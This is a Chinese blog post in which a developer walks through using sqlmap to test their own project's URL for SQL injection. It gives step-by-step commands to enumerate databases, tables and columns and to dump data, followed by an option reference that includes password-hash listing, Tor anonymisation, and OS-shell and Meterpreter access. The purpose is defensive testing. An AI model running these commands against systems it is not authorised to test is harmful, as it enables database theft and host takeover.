最近公司项目被扫描出有SQL注入的漏洞,通过百度之后,决定使用sqlmap进行SQL注入的检测。这里仅仅是记录一下注入检测的步骤。
检测前准备
sqlmap是一个python编写的工具,因此我们首先要进行python环境的搭建,然后再从sqlmap官网下载最新版本。
检测步骤
查看需要检测的注入点
首先我们需要访问自己的项目,找到一个需要检测的url,这个url需要对应后台的处理,这个url对应的后台需要接收参数,并且会将我们的参数作为sql的一部分去数据库进行查询之类的操作。
如 我们有个链接 http://192.168.21.12:8080/mylink.action?userCode=admin
URL检测是否存在注入点
使用python sqlmap.py -u "http://192.168.21.12:8080/mylink.action?userCode=admin" --batch
这里--batch表示不需要用户输入,使用默认行为,否则会有一些提示选择需要用户进行。
如果此URL中存在SQL注入,那么将会出现如下画面。并且可以看到 这里告诉我们后台使用的数据库类型与版本是SQLServer 2008.
获取到数据库名称
这里我们使用
python sqlmap.py -u URL --dbs --batch
可以获取到此实例下的所有数据库名称。
使用python sqlmap.py -u URL --current-db --batch
可以获取当前系统使用的数据库名称。
获取此数据库下所有表名称
在获取到数据库名称之后,我们使用
python sqlmap.py -u URL -D 数据库名称 --tables --batch
可以获取到这个数据库下所有的表名
获取表的所有字段
我们找到我们感兴趣的表,然后获取这个表的所有字段
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns --batch
获取表中的数据
我们使用
python sqlmap.py -u URL -D 数据库名 -T 表名 -C "字段名(多字段用,分隔)" --dump --batch
这样会将对应字段的值全部查询并保存起来,如果数目比较大 也可以指定 --start --stop 来指定获取哪些数据。
可以看到这里我们获取一条数据,并且数据会保存在CSV中,要注意如果我们获取到的数据中有加密的,会默认进行暴力破解,所以会有些慢。
结语
至此,对于sqlmap的简单使用就结束了,我们可以看到最简单的使用,就已经可以将我们的整个数据给爬取了,因此在日常工作中一定要注意代码规范,尽量避免SQL注入的出现。
补充说明(sqlmap选项)
目标:至少要选中一个参数
-u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK 将谷歌dork的结果作为目标url
请求:这些选项可用于指定如何连接到目标URL
--data=DATA 数据字符串通过POST发送
--cookie=COOKIE HTTP Cookie的值
--random-agent 随机选择 HTTP User-Agent 头的值
--proxy=PROXY 使用代理去连接目标URL
--tor 使用匿名网络
--check-tor 检查Tor是否正确使用
注入:这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
--dbms=DBMS 将后端DBMS强制到此值
检测:这些选项可用于定制检测阶段
--level=LEVEL 执行的测试级别(1-5, 默认 1)
--risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:这些选项可用于调整特定SQL注入的测试的技术
--technique=TECH SQL注入技术选择 (默认 "BEUSTQ")
枚举:T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
-schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
--os-shell 提示为交互式操作系统shell
--os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
--batch 永远不要要求用户输入,使用默认行为
--flush-session 刷新当前目标的会话文件
杂项:
--sqlmap-shell 提示输入交互式sqlmap shell
--wizard 初学者的简单向导界面
来源:https://blog.csdn.net/zhl704792104/article/details/100007894